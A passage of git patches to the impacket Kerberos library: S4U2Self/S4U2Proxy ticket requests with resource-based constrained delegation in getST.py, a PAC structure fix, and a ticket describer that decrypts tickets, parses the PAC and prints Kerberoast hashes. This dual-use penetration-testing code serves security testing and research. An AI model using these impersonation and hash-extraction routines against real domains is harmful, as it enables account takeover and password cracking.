tgsReq['padata'] = noValue + tgsReq['padata'][0] = noValue + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq['padata'][0]['padata-value'] = encodedApReq - # Add resource-based constrained delegation support - paPacOptions = PA_PAC_OPTIONS() - paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) + # Add resource-based constrained delegation support + paPacOptions = PA_PAC_OPTIONS() + paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) - tgsReq['padata'][1] = noValue - tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value - tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) + tgsReq['padata'][1] = noValue + tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value + tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) - reqBody = seq_set(tgsReq, 'req-body') + reqBody = seq_set(tgsReq, 'req-body') - opts = list() - # This specified we're doing S4U - opts.append(constants.KDCOptions.cname_in_addl_tkt.value) - opts.append(constants.KDCOptions.canonicalize.value) - opts.append(constants.KDCOptions.forwardable.value) - opts.append(constants.KDCOptions.renewable.value) + opts = list() + # This specified we're doing S4U + opts.append(constants.KDCOptions.cname_in_addl_tkt.value) + opts.append(constants.KDCOptions.canonicalize.value) + opts.append(constants.KDCOptions.forwardable.value) + opts.append(constants.KDCOptions.renewable.value) - reqBody['kdc-options'] = constants.encodeFlags(opts) - service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) - seq_set(reqBody, 'sname', service2.components_to_asn1) - reqBody['realm'] = self.__domain + reqBody['kdc-options'] = constants.encodeFlags(opts) + service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) + seq_set(reqBody, 'sname', service2.components_to_asn1) + reqBody['realm'] = self.__domain - myTicket = ticket.to_asn1(TicketAsn1()) - seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) + myTicket = ticket.to_asn1(TicketAsn1()) + seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) - now = datetime.datetime.utcnow() + datetime.timedelta(days=1) + now = datetime.datetime.utcnow() + datetime.timedelta(days=1) - reqBody['till'] = KerberosTime.to_asn1(now) - reqBody['nonce'] = random.getrandbits(31) - seq_set_iter(reqBody, 'etype', - ( - int(constants.EncryptionTypes.rc4_hmac.value), - int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), - int(constants.EncryptionTypes.des_cbc_md5.value), - int(cipher.enctype) - ) - ) - message = encoder.encode(tgsReq) + reqBody['till'] = KerberosTime.to_asn1(now) + reqBody['nonce'] = random.getrandbits(31) + seq_set_iter(reqBody, 'etype', + ( + int(constants.EncryptionTypes.rc4_hmac.value), + int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), + int(constants.EncryptionTypes.des_cbc_md5.value), + int(cipher.enctype) + ) + ) + message = encoder.encode(tgsReq) - logging.info('\tRequesting S4U2Proxy') - r = sendReceive(message, self.__domain, kdcHost) + logging.info('\tRequesting S4U2Proxy') + r = sendReceive(message, self.__domain, kdcHost) - tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] + tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] - cipherText = tgs['enc-part']['cipher'] + cipherText = tgs['enc-part']['cipher'] - # Key Usage 8 - # TGS-REP encrypted part (includes application session - # key), encrypted with the TGS session key (Section 5.4.2) - plainText = cipher.decrypt(sessionKey, 8, cipherText) + # Key Usage 8 + # TGS-REP encrypted part (includes application session + # key), encrypted with the TGS session key (Section 5.4.2) + plainText = cipher.decrypt(sessionKey, 8, cipherText) - encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] + encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] - newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) + newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) - # Creating new cipher based on received keytype - cipher = _enctype_table[encTGSRepPart['key']['keytype']] + # Creating new cipher based on received keytype + cipher = _enctype_table[encTGSRepPart['key']['keytype']] - return r, cipher, sessionKey, newSessionKey + return r, cipher, sessionKey, newSessionKey def run(self): @@ -684,7 +697,7 @@ def run(self): parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " "Service Ticket and save it as ccache") parser.add_argument('identity', action='store', help='[domain/]username[:password]') - parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the ' + parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the ' 'service ticket will' ' be generated for') parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' ' for quering the ST. Keep in mind this will only work if ' @@ -693,6 +706,7 @@ def run(self): parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-self', dest='no_s4u2proxy', action='store_true', help='Only do S4U2self, no S4U2proxy') parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through ' 'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the ' 'specified -identity should be provided. This allows impresonation of protected users ' @@ -719,6 +733,9 @@ def run(self): options = parser.parse_args() + if not options.no_s4u2proxy and options.spn is None: + parser.error("argument -spn is required, except when -self is set") + # Init the example's logger theme logger.init(options.ts) diff --git a/impacket/krb5/pac.py b/impacket/krb5/pac.py index f01bc47f8..5e9a42cc3 100644 --- a/impacket/krb5/pac.py +++ b/impacket/krb5/pac.py @@ -173,11 +173,10 @@ class NTLM_SUPPLEMENTAL_CREDENTIAL(NDRSTRUCT): ) # 2.7 PAC_CLIENT_INFO -class PAC_CLIENT_INFO(Structure): +class PAC_CLIENT_INFO(NDRSTRUCT): structure = ( - ('ClientId', ' Date: Sun, 31 Oct 2021 19:06:20 +0100 Subject: [PATCH 013/163] Fixes dates, improved errors, prepared for PR --- examples/describeTicket.py | 276 +++++++++++++++++++++++-------------- 1 file changed, 170 insertions(+), 106 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 0a1d783a6..e6e8071c1 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -14,12 +14,13 @@ # Remi Gascou (@podalirius_) # Charlie Bromberg (@_nwodtuhs) -import json import logging import sys import traceback import argparse import binascii +from enum import Enum + from Cryptodome.Hash import MD4 import datetime import base64 @@ -31,39 +32,70 @@ from impacket.examples import logger from impacket.dcerpc.v5.rpcrt import TypeSerialization1 from impacket.krb5 import constants -from impacket.krb5.asn1 import TGS_REP, EncTicketPart, AD_IF_RELEVANT +from impacket.krb5.asn1 import TGS_REP, AS_REP, EncTicketPart, AD_IF_RELEVANT from impacket.krb5.ccache import CCache from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum, string_to_key from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, KERB_VALIDATION_INFO, PAC_SERVER_CHECKSUM, PAC_SIGNATURE_DATA, PAC_LOGON_INFO, PAC_CLIENT_INFO_TYPE, PAC_CLIENT_INFO, \ PAC_PRIVSVR_CHECKSUM, PAC_UPN_DNS_INFO, UPN_DNS_INFO, PAC_CREDENTIALS_INFO, PAC_DELEGATION_INFO, S4U_DELEGATION_INFO +class User_Flags(Enum): + LOGON_EXTRA_SIDS = 0x0020 + LOGON_RESOURCE_GROUPS = 0x0200 + +class UserAccountControl_Flags(Enum): + UF_SCRIPT = 0x00000001 + UF_ACCOUNTDISABLE = 0x00000002 + UF_HOMEDIR_REQUIRED = 0x00000008 + UF_LOCKOUT = 0x00000010 + UF_PASSWD_NOTREQD = 0x00000020 + UF_PASSWD_CANT_CHANGE = 0x00000040 + UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x00000080 + UF_TEMP_DUPLICATE_ACCOUNT = 0x00000100 + UF_NORMAL_ACCOUNT = 0x00000200 + UF_INTERDOMAIN_TRUST_ACCOUNT = 0x00000800 + UF_WORKSTATION_TRUST_ACCOUNT = 0x00001000 + UF_SERVER_TRUST_ACCOUNT = 0x00002000 + UF_DONT_EXPIRE_PASSWD = 0x00010000 + UF_MNS_LOGON_ACCOUNT = 0x00020000 + UF_SMARTCARD_REQUIRED = 0x00040000 + UF_TRUSTED_FOR_DELEGATION = 0x00080000 + UF_NOT_DELEGATED = 0x00100000 + UF_USE_DES_KEY_ONLY = 0x00200000 + UF_DONT_REQUIRE_PREAUTH = 0x00400000 + UF_PASSWORD_EXPIRED = 0x00800000 + UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x01000000 + UF_NO_AUTH_DATA_REQUIRED = 0x02000000 + UF_PARTIAL_SECRETS_ACCOUNT = 0x04000000 + UF_USE_AES_KEYS = 0x08000000 + def parse_ccache(args): + # todo : decodedTicket['ticket']['enc-part'] is handled. Handle decodedTicket['enc-part']? ccache = CCache.loadFile(args.ticket) principal = ccache.credentials[0].header['server'].prettyPrint() creds = ccache.getCredential(principal.decode()) TGS = creds.toTGS(principal) - decodedTGS = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0] + decodedTicket = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0] for creds in ccache.credentials: - logging.info("%-25s: %s" % ("UserName", creds['client'].prettyPrint().split(b'@')[0].decode('utf-8'))) - logging.info("%-25s: %s" % ("UserRealm", creds['client'].prettyPrint().split(b'@')[1].decode('utf-8'))) + logging.info("%-30s: %s" % ("User Name", creds['client'].prettyPrint().split(b'@')[0].decode('utf-8'))) + logging.info("%-30s: %s" % ("User Realm", creds['client'].prettyPrint().split(b'@')[1].decode('utf-8'))) spn = creds['server'].prettyPrint().split(b'@')[0].decode('utf-8') - logging.info("%-25s: %s" % ("ServiceName", spn)) - logging.info("%-25s: %s" % ("ServiceRealm", creds['server'].prettyPrint().split(b'@')[1].decode('utf-8'))) - logging.info("%-25s: %s" % ("StartTime", datetime.datetime.fromtimestamp(creds['time']['starttime']).strftime("%d/%m/%Y %H:%H:%S %p"))) - logging.info("%-25s: %s" % ("EndTime", datetime.datetime.fromtimestamp(creds['time']['endtime']).strftime("%d/%m/%Y %H:%H:%S %p"))) - logging.info("%-25s: %s" % ("RenewTill", datetime.datetime.fromtimestamp(creds['time']['renew_till']).strftime("%d/%m/%Y %H:%H:%S %p"))) + logging.info("%-30s: %s" % ("Service Name", spn)) + logging.info("%-30s: %s" % ("Service Realm", creds['server'].prettyPrint().split(b'@')[1].decode('utf-8'))) + logging.info("%-30s: %s" % ("Start Time", datetime.datetime.fromtimestamp(creds['time']['starttime']).strftime("%d/%m/%Y %H:%M:%S %p"))) + logging.info("%-30s: %s" % ("End Time", datetime.datetime.fromtimestamp(creds['time']['endtime']).strftime("%d/%m/%Y %H:%M:%S %p"))) + logging.info("%-30s: %s" % ("RenewTill", datetime.datetime.fromtimestamp(creds['time']['renew_till']).strftime("%d/%m/%Y %H:%M:%S %p"))) flags = [] for k in constants.TicketFlags: if ((creds['tktflags'] >> (31 - k.value)) & 1) == 1: flags.append(constants.TicketFlags(k.value).name) - logging.info("%-25s: (0x%x) %s" % ("Flags", creds['tktflags'], ", ".join(flags))) + logging.info("%-30s: (0x%x) %s" % ("Flags", creds['tktflags'], ", ".join(flags))) keyType = constants.EncryptionTypes(creds["key"]["keytype"]).name - logging.info("%-25s: %s" % ("KeyType", keyType)) - logging.info("%-25s: %s" % ("Base64(key)", base64.b64encode(creds["key"]["keyvalue"]).decode("utf-8"))) + logging.info("%-30s: %s" % ("KeyType", keyType)) + logging.info("%-30s: %s" % ("Base64(key)", base64.b64encode(creds["key"]["keyvalue"]).decode("utf-8"))) if spn.split('/')[0] != 'krbtgt': logging.debug("Attempting to create Kerberoast hash") @@ -74,45 +106,51 @@ def parse_ccache(args): # the user account name that backs the requested SPN for the ticket, no no dice :( logging.debug("Service ticket uses encryption key type %s, unable to extract hash and salt" % keyType) elif keyType == "rc4_hmac": - kerberoast_hash = kerberoast_from_ccache(decodedTGS = decodedTGS, spn = spn, username = args.user, domain = args.domain) + kerberoast_hash = kerberoast_from_ccache(decodedTGS = decodedTicket, spn = spn, username = args.user, domain = args.domain) elif args.user: if args.user.endswith("$"): user = "host%s.%s" % (args.user.rstrip('$').lower(), args.domain.lower()) else: user = args.user - kerberoast_hash = kerberoast_from_ccache(decodedTGS = decodedTGS, spn = spn, username = user, domain = args.domain) + kerberoast_hash = kerberoast_from_ccache(decodedTGS = decodedTicket, spn = spn, username = user, domain = args.domain) else: logging.error("AES256 in use but no '-u/--user' passed, unable to generate crackable hash") if kerberoast_hash: - logging.info("%-25s: %s" % ("Kerberoast hash", kerberoast_hash)) + logging.info("%-30s: %s" % ("Kerberoast hash", kerberoast_hash)) logging.debug("Handling Kerberos keys") ekeys = generate_kerberos_keys(args) - # TODO : show message when decrypting ticket, unable to decrypt ticket if not enough arguments are given. Say what is missing # copypasta from krbrelayx.py # Select the correct encryption key - etype = decodedTGS['ticket']['enc-part']['etype'] + etype = decodedTicket['ticket']['enc-part']['etype'] try: logging.debug('Ticket is encrypted with %s (etype %d)' % (constants.EncryptionTypes(etype).name, etype)) key = ekeys[etype] logging.debug('Using corresponding key: %s' % hexlify(key.contents).decode('utf-8')) # This raises a KeyError (pun intended) if our key is not found except KeyError: - LOG.error('Could not find the correct encryption key! Ticket is encrypted with keytype %d, but keytype(s) %s were supplied', - decodedTGS['ticket']['enc-part']['etype'], - ', '.join([str(enctype) for enctype in ekeys.keys()])) + if len(ekeys) > 0: + LOG.error('Could not find the correct encryption key! Ticket is encrypted with %s (etype %d), but only keytype(s) %s were calculated/supplied', + constants.EncryptionTypes(etype).name, + etype, + ', '.join([str(enctype) for enctype in ekeys.keys()])) + else: + LOG.error('Could not find the correct encryption key! Ticket is encrypted with %s (etype %d), but no keys/creds were supplied', + constants.EncryptionTypes(etype).name, + etype) return None # Recover plaintext info from ticket try: - cipherText = decodedTGS['ticket']['enc-part']['cipher'] + cipherText = decodedTicket['ticket']['enc-part']['cipher'] newCipher = _enctype_table[int(etype)] plainText = newCipher.decrypt(key, 2, cipherText) except InvalidChecksum: logging.error('Ciphertext integrity failed. Most likely the account password or AES key is incorrect') if args.salt: logging.info('Make sure the salt/username/domain are set and with the proper values. In case of a computer account, append a "$" to the name.') + logging.debug('Remember: the encrypted-part of the ticket is secured with one of the target service\'s Kerberos keys. The target service is the one who owns the \'Service Name\' SPN printed above') return logging.debug('Ticket successfully decrypted') @@ -121,14 +159,14 @@ def parse_ccache(args): adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[0] # So here we have the PAC pacType = PACTYPE(adIfRelevant[0]['ad-data'].asOctets()) - # TODO : cycle through dict instead of line by line? Filter on type, if it list, for parsed_pac['LogonInfo']["GroupIds"] & parsed_pac['LogonInfo']["ExtraSids"] parsed_pac = parse_pac(pacType) - logging.info("%-25s:" % "Decrypted PAC") + logging.info("%-30s:" % "Decrypted PAC") for element_type in parsed_pac: element_type_name = list(element_type.keys())[0] - logging.info(" %-23s:" % element_type_name) + logging.info(" %-28s:" % element_type_name) for attribute in element_type[element_type_name]: - logging.info(" %-21s: %s" % (attribute, element_type[element_type_name][attribute])) + logging.info(" %-26s: %s" % (attribute, element_type[element_type_name][attribute])) + def parse_pac(pacType): def format_sid(data): @@ -144,8 +182,15 @@ def PACparseFILETIME(data): # FILETIME structure (minwinbase.h) # Contains a 64-bit value representing the number of 100-nanosecond intervals since January 1, 1601 (UTC). # https://docs.microsoft.com/en-us/windows/win32/api/minwinbase/ns-minwinbase-filetime - v_ticks = PACinfiniteData(data['dwLowDateTime']) + 2^32 * PACinfiniteData(data['dwHighDateTime']) - v_FILETIME = datetime.datetime(1601, 1, 1, 0, 0, 0) + datetime.timedelta(seconds=v_ticks/ 1e7) + dwLowDateTime = data['dwLowDateTime'] + dwHighDateTime = data['dwHighDateTime'] + v_FILETIME = "Infinity (absolute time)" + if dwLowDateTime != 0xffffffff and dwHighDateTime != 0x7fffffff: + temp_time = dwHighDateTime + temp_time <<= 32 + temp_time |= dwLowDateTime + if datetime.timedelta(microseconds=temp_time / 10).total_seconds() != 0: + v_FILETIME = (datetime.datetime(1601, 1, 1, 0, 0, 0) + datetime.timedelta(microseconds=temp_time / 10)).strftime("%d/%m/%Y %H:%M:%S %p") return v_FILETIME def PACparseGroupIds(data): groups = [] @@ -156,33 +201,25 @@ def PACparseGroupIds(data): groups.append(groupMembership) return groups def PACparseSID(sid): - str_sid = format_sid({ - 'Revision': PACinfiniteData(sid['Revision']), - 'SubAuthorityCount': PACinfiniteData(sid['SubAuthorityCount']), - 'IdentifierAuthority': int(binascii.hexlify(PACinfiniteData(sid['IdentifierAuthority'])), 16), - 'SubAuthority': PACinfiniteData(sid['SubAuthority']) - }) - return str_sid + if type(sid) == dict: + str_sid = format_sid({ + 'Revision': PACinfiniteData(sid['Revision']), + 'SubAuthorityCount': PACinfiniteData(sid['SubAuthorityCount']), + 'IdentifierAuthority': int(binascii.hexlify(PACinfiniteData(sid['IdentifierAuthority'])), 16), + 'SubAuthority': PACinfiniteData(sid['SubAuthority']) + }) + return str_sid + else: + return '' def PACparseExtraSids(data): _ExtraSids = [] for sid in PACinfiniteData(PACinfiniteData(data.fields)['Data']): _d = { 'Attributes': PACinfiniteData(sid.fields['Attributes']), 'Sid': PACparseSID(sid.fields['Sid']) } _ExtraSids.append(_d['Sid']) return _ExtraSids - def PACparseResourceGroupDomainSid(data): - data = { - 'Revision': PACinfiniteData(data['Revision']), - 'SubAuthorityCount': PACinfiniteData(data['SubAuthorityCount']), - 'IdentifierAuthority': int(binascii.hexlify(data['IdentifierAuthority']), 16), - 'SubAuthority': PACinfiniteData(data['SubAuthority']) - } - return data - # parsed_tuPAC = [] - # buff = pacType['Buffers'] for bufferN in range(pacType['cBuffers']): - # TODO : parse all structures infoBuffer = PAC_INFO_BUFFER(buff) data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']] if infoBuffer['ulType'] == PAC_LOGON_INFO: @@ -193,63 +230,75 @@ def PACparseResourceGroupDomainSid(data): kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):]) parsed_data = {} - parsed_data['LogonTime'] = PACparseFILETIME(kerbdata.fields['LogonTime']) - parsed_data['LastSuccessfulILogon'] = PACparseFILETIME(kerbdata.fields['LastSuccessfulILogon']) - parsed_data['LastFailedILogon'] = PACparseFILETIME(kerbdata.fields['LastFailedILogon']) - parsed_data['LogoffTime'] = PACparseFILETIME(kerbdata.fields['LogoffTime']) - parsed_data['KickOffTime'] = PACparseFILETIME(kerbdata.fields['KickOffTime']) - parsed_data['PasswordLastSet'] = PACparseFILETIME(kerbdata.fields['PasswordLastSet']) - parsed_data['PasswordCanChange'] = PACparseFILETIME(kerbdata.fields['PasswordCanChange']) - parsed_data['PasswordMustChange'] = PACparseFILETIME(kerbdata.fields['PasswordMustChange']) - parsed_data['EffectiveName'] = PACinfiniteData(kerbdata.fields['EffectiveName']).decode('utf-16-le') - parsed_data['FullName'] = PACinfiniteData(kerbdata.fields['FullName']).decode('utf-16-le') - parsed_data['LogonScript'] = PACinfiniteData(kerbdata.fields['LogonScript']).decode('utf-16-le') - parsed_data['ProfilePath'] = PACinfiniteData(kerbdata.fields['ProfilePath']).decode('utf-16-le') - parsed_data['HomeDirectory'] = PACinfiniteData(kerbdata.fields['HomeDirectory']).decode('utf-16-le') - parsed_data['HomeDirectoryDrive'] = PACinfiniteData(kerbdata.fields['HomeDirectoryDrive']).decode('utf-16-le') - parsed_data['LogonCount'] = PACinfiniteData(kerbdata.fields['LogonCount']) - parsed_data['FailedILogonCount'] = PACinfiniteData(kerbdata.fields['FailedILogonCount']) - parsed_data['BadPasswordCount'] = PACinfiniteData(kerbdata.fields['BadPasswordCount']) - parsed_data['UserId'] = PACinfiniteData(kerbdata.fields['UserId']) - parsed_data['PrimaryGroupId'] = PACinfiniteData(kerbdata.fields['PrimaryGroupId']) - parsed_data['GroupCount'] = PACinfiniteData(kerbdata.fields['GroupCount']) - parsed_data['Groups'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata.fields['GroupIds'])]) + parsed_data['Logon Time'] = PACparseFILETIME(kerbdata.fields['LogonTime']) + parsed_data['Logoff Time'] = PACparseFILETIME(kerbdata.fields['LogoffTime']) + parsed_data['Kickoff Time'] = PACparseFILETIME(kerbdata.fields['KickOffTime']) + parsed_data['Password Last Set'] = PACparseFILETIME(kerbdata.fields['PasswordLastSet']) + parsed_data['Password Can Change'] = PACparseFILETIME(kerbdata.fields['PasswordCanChange']) + parsed_data['Password Must Change'] = PACparseFILETIME(kerbdata.fields['PasswordMustChange']) + # parsed_data['LastSuccessfulILogon'] = PACparseFILETIME(kerbdata.fields['LastSuccessfulILogon']) + # parsed_data['LastFailedILogon'] = PACparseFILETIME(kerbdata.fields['LastFailedILogon']) + # parsed_data['FailedILogonCount'] = PACinfiniteData(kerbdata.fields['FailedILogonCount']) + parsed_data['Account Name'] = PACinfiniteData(kerbdata.fields['EffectiveName']).decode('utf-16-le') + parsed_data['Full Name'] = PACinfiniteData(kerbdata.fields['FullName']).decode('utf-16-le') + parsed_data['Logon Script'] = PACinfiniteData(kerbdata.fields['LogonScript']).decode('utf-16-le') + parsed_data['Profile Path'] = PACinfiniteData(kerbdata.fields['ProfilePath']).decode('utf-16-le') + parsed_data['Home Dir'] = PACinfiniteData(kerbdata.fields['HomeDirectory']).decode('utf-16-le') + parsed_data['Dir Drive'] = PACinfiniteData(kerbdata.fields['HomeDirectoryDrive']).decode('utf-16-le') + parsed_data['Logon Count'] = PACinfiniteData(kerbdata.fields['LogonCount']) + parsed_data['Bad Password Count'] = PACinfiniteData(kerbdata.fields['BadPasswordCount']) + parsed_data['User RID'] = PACinfiniteData(kerbdata.fields['UserId']) + parsed_data['Group RID'] = PACinfiniteData(kerbdata.fields['PrimaryGroupId']) + parsed_data['Group Count'] = PACinfiniteData(kerbdata.fields['GroupCount']) + parsed_data['Groups'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata.fields['GroupIds'])]) UserFlags = PACinfiniteData(kerbdata.fields['UserFlags']) - # todo parse UserFlags - parsed_data['UserFlags'] = "(%s) %s" % (UserFlags, "???") - parsed_data['UserSessionKey'] = hexlify(PACinfiniteData(kerbdata.fields['UserSessionKey'])).decode('utf-8') - parsed_data['LogonServer'] = PACinfiniteData(kerbdata.fields['LogonServer']).decode('utf-16-le') - parsed_data['LogonDomainName'] = PACinfiniteData(kerbdata.fields['LogonDomainName']).decode('utf-16-le') - parsed_data['LogonDomainId'] = PACparseSID(PACinfiniteData(kerbdata.fields['LogonDomainId'])) + User_Flags_Flags = [] + for flag in User_Flags: + if UserFlags & flag.value: + User_Flags_Flags.append(flag.name) + parsed_data['User Flags'] = "(%s) %s" % (UserFlags, ", ".join(User_Flags_Flags)) + parsed_data['User Session Key'] = hexlify(PACinfiniteData(kerbdata.fields['UserSessionKey'])).decode('utf-8') + parsed_data['Logon Server'] = PACinfiniteData(kerbdata.fields['LogonServer']).decode('utf-16-le') + parsed_data['Logon Domain Name'] = PACinfiniteData(kerbdata.fields['LogonDomainName']).decode('utf-16-le') + parsed_data['Logon Domain SID'] = PACparseSID(PACinfiniteData(kerbdata.fields['LogonDomainId'])) UAC = PACinfiniteData(kerbdata.fields['UserAccountControl']) - # todo parse UAC - parsed_data['UserAccountControl'] = "(%s) %s" % (UAC, "???") - parsed_data['ExtraSIDCount'] = PACinfiniteData(kerbdata.fields['SidCount']) - parsed_data['ExtraSIDs'] = ', '.join([sid for sid in PACparseExtraSids(kerbdata.fields['ExtraSids'])]) - parsed_data['ResourceGroupCount'] = PACinfiniteData(kerbdata.fields['ResourceGroupCount']) + UAC_Flags = [] + for flag in UserAccountControl_Flags: + if UAC & flag.value: + UAC_Flags.append(flag.name) + parsed_data['User Account Control'] = "(%s) %s" % (UAC, ", ".join(UAC_Flags)) + parsed_data['Extra SID Count'] = PACinfiniteData(kerbdata.fields['SidCount']) + parsed_data['Extra SIDs'] = ', '.join([sid for sid in PACparseExtraSids(kerbdata.fields['ExtraSids'])]) + parsed_data['Resource Group Domain SID'] = PACparseSID(kerbdata.fields['ResourceGroupDomainSid']) + parsed_data['Resource Group Count'] = PACinfiniteData(kerbdata.fields['ResourceGroupCount']) + parsed_data['Resource Group Ids'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata.fields['ResourceGroupIds'])]) # parsed_data['LMKey'] = hexlify(PACinfiniteData(kerbdata.fields['LMKey'])).decode('utf-8') # parsed_data['SubAuthStatus'] = PACinfiniteData(kerbdata.fields['SubAuthStatus']) # parsed_data['Reserved3'] = PACinfiniteData(kerbdata.fields['Reserved3']) - # parsed_data['ResourceGroupDomainSid'] = PACparseResourceGroupDomainSid(kerbdata.fields['ResourceGroupDomainSid']) - # parsed_data['ResourceGroupIds'] = PACparseGroupIds(kerbdata.fields['ResourceGroupIds']) parsed_tuPAC.append({"LoginInfo": parsed_data}) elif infoBuffer['ulType'] == PAC_CLIENT_INFO_TYPE: - clientInfo = PAC_CLIENT_INFO(data) + clientInfo = PAC_CLIENT_INFO() + clientInfo.fromString(data) parsed_data = {} - # TODO : check client id it's probably wrong - parsed_data['Client Id'] = datetime.datetime.fromtimestamp(clientInfo.fields['ClientId']/1e8).strftime("%d/%m/%Y %H:%H:%S") + parsed_data['Client Id'] = PACparseFILETIME(clientInfo.fields['ClientId']) + # In case PR fixing pac.py's PAC_CLIENT_INFO structure doesn't get through + # parsed_data['Client Id'] = PACparseFILETIME(FILETIME(data[:32])) parsed_data['Client Name'] = clientInfo.fields['Name'].decode('utf-16-le') parsed_tuPAC.append({"ClientName": parsed_data}) elif infoBuffer['ulType'] == PAC_UPN_DNS_INFO: upn = UPN_DNS_INFO(data) - # upn.dump() + UpnLength = upn.fields['UpnLength'] + UpnOffset = upn.fields['UpnOffset'] + UpnName = data[UpnOffset:UpnOffset+UpnLength].decode('utf-16-le') + DnsDomainNameLength = upn.fields['DnsDomainNameLength'] + DnsDomainNameOffset = upn.fields['DnsDomainNameOffset'] + DnsName = data[DnsDomainNameOffset:DnsDomainNameOffset + DnsDomainNameLength].decode('utf-16-le') parsed_data = {} - # todo, we don't have the same data as Rubeus - parsed_data['DNS Domain Name'] = 0 - parsed_data['UPN'] = 0 - parsed_data['Flags'] = 0 + parsed_data['Flags'] = upn.fields['Flags'] + parsed_data['UPN'] = UpnName + parsed_data['DNS Domain Name'] = DnsName parsed_tuPAC.append({"UpnDns": parsed_data}) elif infoBuffer['ulType'] == PAC_SERVER_CHECKSUM: @@ -268,7 +317,6 @@ def PACparseResourceGroupDomainSid(data): parsed_tuPAC.append({"KDCChecksum": parsed_data}) elif infoBuffer['ulType'] == PAC_CREDENTIALS_INFO: - # todo logging.debug("TODO: implement PAC_CREDENTIALS_INFO parsing") elif infoBuffer['ulType'] == PAC_DELEGATION_INFO: @@ -287,13 +335,13 @@ def generate_kerberos_keys(args): # copypasta from krbrelayx.py # Store Kerberos keys keys = {} - if args.hashes: - keys[int(constants.EncryptionTypes.rc4_hmac.value)] = unhexlify(args.hashes.split(':')[1]) - if args.aesKey: - if len(args.aesKey) == 64: - keys[int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value)] = unhexlify(args.aesKey) + if args.rc4: + keys[int(constants.EncryptionTypes.rc4_hmac.value)] = unhexlify(args.rc4) + if args.aes: + if len(args.aes) == 64: + keys[int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value)] = unhexlify(args.aes) else: - keys[int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value)] = unhexlify(args.aesKey) + keys[int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value)] = unhexlify(args.aes) ekeys = {} for kt, key in keys.items(): ekeys[kt] = Key(kt, key) @@ -326,13 +374,15 @@ def generate_kerberos_keys(args): rawsecret = args.password ekeys[cipher] = string_to_key(cipher, rawsecret, args.salt) logging.debug('Calculated type %s (%d) Kerberos key: %s' % (constants.EncryptionTypes(cipher).name, cipher, hexlify(ekeys[cipher].contents).decode('utf-8'))) + else: + logging.debug('No password (-p/--password or -hp/--hexpass supplied, skipping Kerberos keys calculation') return ekeys def kerberoast_from_ccache(decodedTGS, spn, username, domain): try: if not domain: - domain = decodedTGS['ticket']['realm'].upper() + domain = decodedTGS['ticket']['realm']._value.upper() else: domain = domain.upper() @@ -368,30 +418,44 @@ def kerberoast_from_ccache(decodedTGS, spn, username, domain): decodedTGS['ticket']['enc-part']['etype'])) return entry except Exception as e: + raise logging.debug("Not able to parse ticket: %s" % e) def parse_args(): - parser = argparse.ArgumentParser(add_help=True, description='Ticket describor') + parser = argparse.ArgumentParser(add_help=True, description='Ticket describer. Parses ticket, decrypts the enc-part, and parses the PAC.') parser.add_argument('ticket', action='store', help='Path to ticket.ccache') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') - # Authentication arguments - group = parser.add_argument_group('Some account information') - group.add_argument('-p', '--password', action="store", metavar="PASSWORD", help='placeholder') - group.add_argument('-hp', '--hexpass', dest='hexpass', action="store", metavar="PASSWORD", help='placeholder') - group.add_argument('-u', '--user', action="store", metavar="USER", help='placeholder') - group.add_argument('-d', '--domain', action="store", metavar="DOMAIN", help='placeholder') - group.add_argument('-s', 